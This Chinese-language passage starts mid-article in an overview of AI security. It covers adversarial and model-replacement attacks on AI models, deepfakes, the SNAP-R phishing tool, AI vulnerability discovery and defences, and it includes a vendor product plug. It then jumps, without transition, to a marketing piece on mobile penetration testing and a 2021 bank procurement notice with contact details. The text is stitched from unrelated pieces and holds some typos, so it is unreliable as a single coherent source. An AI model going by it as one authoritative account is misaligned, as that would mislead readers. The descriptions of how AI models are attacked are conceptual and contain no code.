黑盒攻击——攻击者无法了解目标AI所使用的模型以及参数,模型内部是否具有防御手段等信息,攻击者只知道模型的输入以及输出。黑盒攻击相比白盒攻击要困难许多:因为缺少关于模型的信息,黑盒攻击往往需要对模型进行大量查询,根据查询本身以及模型输出结果不断执行迭代以此来重构模型本身的行为,从而构建对抗样本。现实中,攻击者遇到的往往是黑盒攻击。黑盒攻击算法相较于白盒攻击更具有通用性。近年来,已涌现出很多优秀的黑盒攻击技术:如模拟攻击[17],这种攻击手段允许攻击者只需要少量查询,根据这些查询结果以及一些经典的AI模型来训练并构建“代理网络”,待训练结束之后代理网络能够逼近目标AI模型的输出。

模型替换——攻击者使用中毒模型代替正常模型。这一点很容易由传统的网络攻击实现。完成训练的模型也是计算机文件,与图像或PDF文档没有什么不同。攻击者可以入侵持有成熟模型的系统,然后更改模型文件或将其完全替换为受攻击者控制的中毒模型。

防御手段

可在AI模型的训练集中增添一些被干扰过的数据,使模型对含有噪声的样本更加具有鲁棒性。或使用网络蒸馏技术,在同一个训练集上训练多个不同的AI模型,最后使用这些模型的平均值作为输出,此种方法需要大量的资源,但也有更高的精确度与较高的鲁棒性。在模型成型之后,亦可对输入的数据进行一定的去除噪声预处理(如使用高斯平滑滤波器等)来达到防御对抗样本的目的。

人工智能在信息攻防战中的应用

攻击方

人工智能技术具有可自我学习数据特征,算法结构具有一定通用性的特点,借助该特点很多传统的攻击手段不仅可大幅提升攻击命中率,还可以摆脱很多繁琐且的且昂贵的人工成本。不仅如此,当下最为先进的人工智能技术还可生成逼真的虚拟数据(图片、视频、音频、文本等)。

数据伪造与篡改:2014年,由Ian J.Goodfellow等人提出了基于深度学习的生成对抗网络模型[19]。生成对抗网络由一个生成网络与一个判别网络组成。生成网络从数据表征的潜在空间中(latent space)中进行随机取样作为输入,其输出结果需要尽量模仿训练集中的真实样本。判别网络的输入则为真实样本和生成网络的输出,其目的是将生成网络的输出从真实样本中尽可能分辨出来。两个网络相互对抗、不断调整参数,最终目的是使判别网络无法判断生成网络的输出结果是否真实。

2017年,在Reddit论坛上出现了使用生成对抗网络对视频中人物进行换脸的技术,名为Deepfake,只要有脸部照片,这项技术就能够将视频中的人脸替换成任意一个目标人脸,而且效果十分的逼真,肉眼难辨真假。随着Deepfakes的兴起,已有人将该技术应用到不法行业上,根据华盛顿邮报的一篇报道,在英国已出现使用AI合成语音进行诈骗的案例;在微信和qq等社交网络上已出现兜售基于Deepfake技术“定制”色情视频的团伙。不止在图像与语音领域,由OpenAI创建的GPT-2模型可模拟人类不同的写作风格,只需根据一小段主题便可完全自主生成逼真的假新闻。

利用AI进行数据伪造正在冲击着我们“眼见为实,耳听为实”的世界,给社会安全、网络安全、国家安全等众多领域带来前所未见的冲击。在人脸、语音等生物特征识别已经大范围普及的当今社会,发展区分真假数据的技术已经势在必行。2019年6月,考虑到AI伪造数据在网络上的快速传播对民众产生误导,将会对2020年总统大选产生不可逆的影响,美国众议员提议修改现行法律,在立法层面对AI数据伪造进行相关的打击。同年,由Facebook领衔的相关学校和公司在更是投入1000万美元举办Deepfake检测挑战赛。

定制化网络钓鱼:

网络钓鱼是—种网络攻击手段,指具有恶意动机的攻击者对自己进行伪装,利用欺诈性的电子邮件诱使用户在伪造的网站上输入敏感信息。

对于攻击者来说,社交网络是寻找受害者的重要资源。但是一般在社交媒体上的大多数网络钓鱼尝试成功率都非常的低。在2016年Black Hat USA上,研究人员发布了一种基于递归神经网络的“定制化”钓鱼工具—SNAP-R[20],该模型可以针对社交网络上特定用户群体发送其感兴趣的钓鱼推文。SNAP-R首先会获取一个来自Twitter用户名的列表,之后会收集已知的用户行为使用AI技术对用户进行分类,如果用户较为容易受到蛊惑且具有较高的价值,SNAP-R会使用递归神经网络技术对用户发表的历史推文,用户的回复等信息生成虚假的推文内容,并在其中植入钓鱼链接。相较于传统技术,采用递归神经网络技术生成的推文更为逼真,逻辑自洽。且SNAP-R还可以根据用户的历史上线时间对用户的活跃时间规律进行建模,使之能够在用户活跃的时候向其发送相关信息。针对SNAP-R的测试也证实,借助递归神经网络将钓鱼成功率提升了30%-35%。

智能化漏洞搜索:

随着如今计算机系统与应用软件的日益复杂化,新发现的安全漏洞也在逐年增加。传统的漏洞搜索需要由具备信息安全相关经验的安全专家对代码进行大量分析,人工费用昂贵,操作繁琐且耗时。

安全漏洞检测的根基是大多数存在问题的代码具有相似性,而深度学习技术能够高效学习数据中的特征表示和复杂的非线性结构,利用深度学习来建模漏洞的结构以及相关的语义特征之后,AI系统会自动对代码进行对比,评估存在漏洞的可能性。相较于传统的漏洞检测技术,AI的使用可以更好地对漏洞特征进行建模,且生成的模型具有良好的泛化性能。这极大的提高了漏洞挖掘的时间与效率,且节约了相当可观的人力物力资源。

因此使用基于深度学习的AI技术进行系统的漏洞挖掘前景巨大。当下结合AI进行漏洞检测的方法主要集中于以下几点:

a.从二进制代码中检测漏洞:将二进制文件看作字节序列或者机器指令的集合,采用处理对象序列的深度学习模型(如递归神经网络)进行特征提取。在模型的训练阶段可使用类似语言模型的无监督训练方式,从而避免了对大量数据进行标注。之后进行有监督的微调,使模型在训练出的嵌入空间中能够表征漏洞[21]。

b.将二进制代码转换为控制流程图(如CFG, AST等)。结合AI的模型会对这些流程图进行建模分析,以便利用代码中的语义以及句法结构的信息。譬如使用图神经网络(GNN)对代码的流程图进行图嵌入,训练完成之后的模型便可基于漏洞代码所具有的独特逻辑结构进行发掘[22]。

c.使用生成对抗网络技术对漏洞数据集代码进行增强,生成对抗网络技术可以对数据核心特征进行建模并找到其编码空间,从编码空间中抽取的样本可能会发现之前没有见过的全新漏洞,这为漏洞发掘提供了全新的思路与方向。

水能载舟,亦能覆舟,智能化的漏洞搜索可以是黑客的攻击手段,当然也可以成为防御利器,只要在产品发布前,将漏洞查找出来,危机自然能消弭于无形。深入网络安全行业,极光无限率先布局,以AI赋能实战,助推网络安全智能化。在无人区探索两年以后,我们建立了大型漏洞数据集,提出了一种利用神经语言模型结合图神经网络的方法来进行漏洞的识别,推出了AI自动化漏洞挖掘产品——维阵,对未知漏洞具备检测、预警、快速响应和处置等主动防护的能力,助力未来网络安全防御体系全局化、整体化发展。

防御方

借助AI检测WEB攻击

当前,大多数针对WAF恶意请求的检测主要集中于撰写规则或正则表达式。但面对海量的恶意请求,一方面不同的恶意请求具有各种不同的规则,想要编写万能的正则表达式几乎不可能实现,且机械式的规则往往会造成误判。另一方面,基于规则的检测无法发现新型的攻击。针对以上两点,可以使用长短期记忆网络(LSTM)来解决。一般情况下在日志中关键词的二义性往往是造成误判的主要原因。针对字符级别的LSTM可以根据上下文判断关键词在出现之处的具体含义。也因如此,使用LSTM的WAT攻击识别也具备了一定对未知攻击的识别能力,由于LSTM将每个字符作为特征,且字符之间具有上下文联系,对于某些掺杂了特殊字符之后的命令,使用LSTM的模型亦有能力将其识别出来。

除此之外,也可使用基于词嵌入的深度学习技术进行恶意请求识别,该方法首先会使用词嵌入对数据包进行降维处理,此举旨在减少数据包的有效荷载维数,之后使用深度卷积神经网络对潜入之后的词向量提取局部特征,最后于头部特征一起送入LSTM学习全局时态特征,从而识别恶意请求。相较于简单的字符级LSTM,此方法虽然复杂,但检测精度也更加高效[24]。

自动化渗透测试

渗透测试是对系统进行受控攻击,进而评估其安全性,是提高网络防御能力的关键方法之一。但是,网络渗透测试需要专业的人员以及大量的时间。高效解决此问题的一种方式是将人工智能技术应用于渗透领域,以使渗透测试过程自动化。

已有研究证明了强化学习(RL)在自动渗透测试中的应用[25]。RL是一种AI优化技术,其主要优势在于它不需要环境模型即可生成攻击策略,而是通过与环境交互来学习最佳策略。强化学习将网络的已知配置作为状态,将可用的扫描作为操作,由网络上的“主机价值”来确定奖励,并使用非确定性操作对机器的扫描结果建模。模型根据获得的奖励以及过去的经验来不断调整自身的行为。以获取最大化的奖励。研究发现,只要了解网络拓扑以及可用的扫描和漏洞利用的知识,强化学习算法能够找到针对各种不同网络拓扑的最佳攻击路径。

流量数据包自动分类

众所周知,计算机网络的保护与维护的成本日益居高不下,并且大多数保护措施无法针对0day漏洞作出高效响应,若对流量包进行深度分析又会引起侵犯用户隐私等法律问题。综上,结合机器学习的流量探测算法可以只从拦截的流量中提取元数据,并使用这些数据建立数据分类模型,无需对流量包进行深度分析,从而在一定程度上避免了侵犯用户隐私等问题,并且这种流量检测算法理论上拥有检测0day漏洞的能力。

该论文[26]提出了一种通用流量分类框架,首先根据可用信息提取其元数据,之后使用并行聚类算法对信息进行聚合以实现实时处理,最后根据聚类结果创建可视化模型以便安全分析人员或网络管理员来识别网络内部的各种情况。

总结

人工智能作为第四次工业革命的核心应用技术之一,正以高度自动化和自主性的特性,创造出更为巨大的利益。与此同时,伴随着“AI-as-a-Service”的普及,AI应用所需专业技能与知识门槛的降低,一定程度上增加了AI被恶意使用和滥用的可能性,进一步扩大了以人工智能为载体的安全威胁攻击面。简言之,人工智能在塑造一个更广阔前景的同时,也因攻击者的日趋深入,而成为诱发新数字、社会和政治威胁的额外动力。

归根结底,对安全从业人员和安全公司而言,人工智能对信息安全来说无疑是一把双刃剑:其带来巨大技术革新的同时,亦带来了前所未有的全新挑战。一方面,由于人工智能是一门包含了计算机科学、数学、生物等方面的综合性学科,如何掌握并使用人工智能,并将其应用在安全相关领域应成为传统信息安全从业人员以及公司的关注重点。同时,针对数据的采集以及数据隐私问题更应该被严格对待,将网络安全和数据保护放在首位,这要求相关部门、企业、研究人员进行协作,在保证数据的安全及隐私的同时,促进相关创新、法规建设、提高认识和开展研发活动,共同创建人工智能安全发展的健康环境。

渗透测试的主要作用有哪些

移动互联网时代人们更多的使用手机等移动通讯设备来处理各种日常事务,而很多软件开发商也对移动互联时代充满信心,纷纷将业务重心转向了移动应用程序开发的方向,而丰富多样的移动程序又再次刺激了人们对移动设备的使用。很多移动应用在正式上架前,往往都需要进行一些安全性测试,那么程序安全性测试中非常关键的渗透测试的主要作用都有哪些呢?
图片
一、找出程序存在的漏洞
没有一款程序是完美无瑕的,即使这款程序在正式上线前经过了长时间的测试,这也是很多网络黑客存在的理由。而受欢迎的渗透测试有别于一般的安全性测试,完全采用了黑客的思维方式来对程序进行攻击,通过全面的端口测试来找出移动应用中存在的漏洞,帮助软件开发人员更好的完善程序。
二、提高程序的安全性能
移动互联虽然给人们的生活带来了极大的便利,同时也为一大批移动程序带来了海量的使用者,但移动程序的泛滥却也给了很多别有用心的黑客可乘之机。很多专为移动设备开发的木马和病毒给使用移动设备的用户带来了巨大的损失,而通过渗透测试能够有效的提升移动应用程序的安全性。
三、帮助开发人员升级程序
目前移动应用方面有着一大批优秀的开发人员,但这些开发人员由于视角的问题,往往很难自我察觉到程序的不足之处,因此很多移动应用开发人员都会借助口碑好的渗透测试的帮助,来找出程序设计之中的不合理之处,从而帮助开发人员更好的对下一代移动应用进行升级和更新。
移动互联时代带给了人们更多的乐趣和更多的便利,但与此同时移动应用程序也会给人们的信息安全带来很大的威胁。因此很多移动应用都会通过渗透测试来找出其中蕴藏的隐患,通过这种黑客视角来帮助移动应用获得更高的安全性。

渗透测试主要面向的测试对象都有哪些?

移动互联网时代由于很多用户的手机设备都绑定了金融支付的功能,因此一旦遭到木马病毒的攻击,往往会给用户带来极为惨重的经济损失。因此移动应用开发商对于移动程序的安全性都有着很高的要求,往往会需要使用到更有力的测试方式来提升移动应用的安全性。那么强大的渗透测试主要面向了移动互联网时代的哪些测试对象呢?

一、安卓系统应用测试

安卓系统是目前移动设备上使用较多的一款操作系统,依赖于安卓系统的移动应用程序的数量也非常的丰富。因此在受欢迎的渗透测试中会将安卓系统中的应用作为主要的测试对象,在测试过程中会根据安卓系统的特点对移动app源代码、数据传输协议以及身份接口的安全性进行全面的测试。

二、IOS系统应用测试

IOS系统是苹果手机所使用的操作系统,这种系统具有不开源和闭环式的特点,从安全性角度来看要高于安卓系统。但IOS系统也并非完全无懈可击,很多专为IOS开发的移动应用也经常会发生安全性问题。而渗透测试能够对IOS系统上的移动应用也进行全面的安全性测试。

三、公众号类应用测试

微信是几乎所有移动设备使用者都经常会使用的一款移动应用,目前微信客户端中开放了小程序和公众号的功能,这些功能有别于常见的移动应用,但也同样会遭受到木马和病毒的攻击,目前口碑好的渗透测试也会针对公众号和小程序来提供其安全性的测试。

目前手机等移动设备上所使用的系统大致可分为安卓和IOS,这两种系统从本质上来看是完全不同的,但其功能上的相似却让这两种系统都非常容易遭受病毒的攻击。目前渗透测试能够对这两大系统都进行完善的安全性测试,无论用户使用的设备上安装了哪种系统都能够在经过测试后获得较好的安全性。

安全渗透测试服务)中国邮政储蓄银行中标候选人公示

中国邮政储蓄银行2021年重要信息系统安全服务资源池采购项目(包4 日常运行安全渗透测试服务)评标委员会按照招标文件载明的评标办法和标准已完成对各投标文件的评审,根据评标结果,中标候选人情况公布如下:

项目名称: 中国邮政储蓄银行2021年重要信息系统安全服务资源池采购项目(包4 日常运行安全渗透测试服务)

招标人:中国邮政储蓄银行股份有限公司

采购内容:日常运行安全渗透测试服务

中标候选人:杭州安恒信息技术股份有限公司

北京神州绿盟科技有限公司

北京启明星辰信息安全技术有限公司

北京长亭科技有限公司

北京奇虎科技有限公司

北京梆梆安全科技有限公司

公示期:2021年9月11日至2021年9月13日,共3天。

公示期间,投标人或其他利害关系人对中标候选人有异议的,请以书面形式(加盖单位公章)向招标人提出。

联系人:刘华妹

联系电话:17601059320

邮箱地址:[email protected]

招标人监督投诉联系方式:

联系人:王先生

联系电话:010-68857747

邮箱地址:[email protected]

招标人:中国邮政储蓄银行股份有限公司

招标代理机构:华信咨询设计研究院有限公司

2021年9月10日